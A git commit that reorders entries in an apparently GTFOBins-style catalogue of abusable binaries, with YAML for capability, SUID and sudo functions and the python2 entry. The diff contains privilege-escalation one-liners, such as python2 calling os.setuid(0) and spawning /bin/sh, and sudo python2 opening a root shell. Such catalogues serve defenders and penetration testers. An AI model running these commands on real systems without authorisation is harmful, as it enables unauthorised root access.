Reorder functions

This commit is contained in:
Emilio Pinna 2018-09-12 21:56:42 +01:00
parent 1afd9ec9ec
commit e72d7e3d19
2 changed files with 9 additions and 9 deletions

View File

@ -62,13 +62,6 @@ load-library:
It loads shared libraries that may be used to run code in the binary It loads shared libraries that may be used to run code in the binary
execution context. execution context.
capabilities-enabled:
label: Capabilities
description: |
It can manipulate its process UID and in Linux systems it can be set with the
`CAP_SETUID` capability to make it work as a backdoor to maintain elevated privileges.
This also works if the binary is invoked by another binary with the capability set.
suid-enabled: suid-enabled:
label: SUID label: SUID
description: | description: |
@ -83,6 +76,13 @@ sudo-enabled:
It runs in privileged context and may be used to access the file system, It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on `sudo`. escalate or maintain access with elevated privileges if enabled on `sudo`.
capabilities-enabled:
label: Capabilities
description: |
It can manipulate its process UID and in Linux systems it can be set with the
`CAP_SETUID` capability to make it work as a backdoor to maintain elevated privileges.
This also works if the binary is invoked by another binary with the capability set.
suid-limited: suid-limited:
label: Limited SUID label: Limited SUID
description: | description: |

View File

@ -30,10 +30,10 @@ functions:
- code: python2 -c 'open("file_to_read").read()' - code: python2 -c 'open("file_to_read").read()'
load-library: load-library:
- code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' - code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
capabilities-enabled:
- code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
suid-enabled: suid-enabled:
- code: ./python2 -c 'import os; os.system("/bin/sh -p")' - code: ./python2 -c 'import os; os.system("/bin/sh -p")'
sudo-enabled: sudo-enabled:
- code: sudo python2 -c 'import os; os.system("/bin/sh")' - code: sudo python2 -c 'import os; os.system("/bin/sh")'
capabilities-enabled:
- code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
--- ---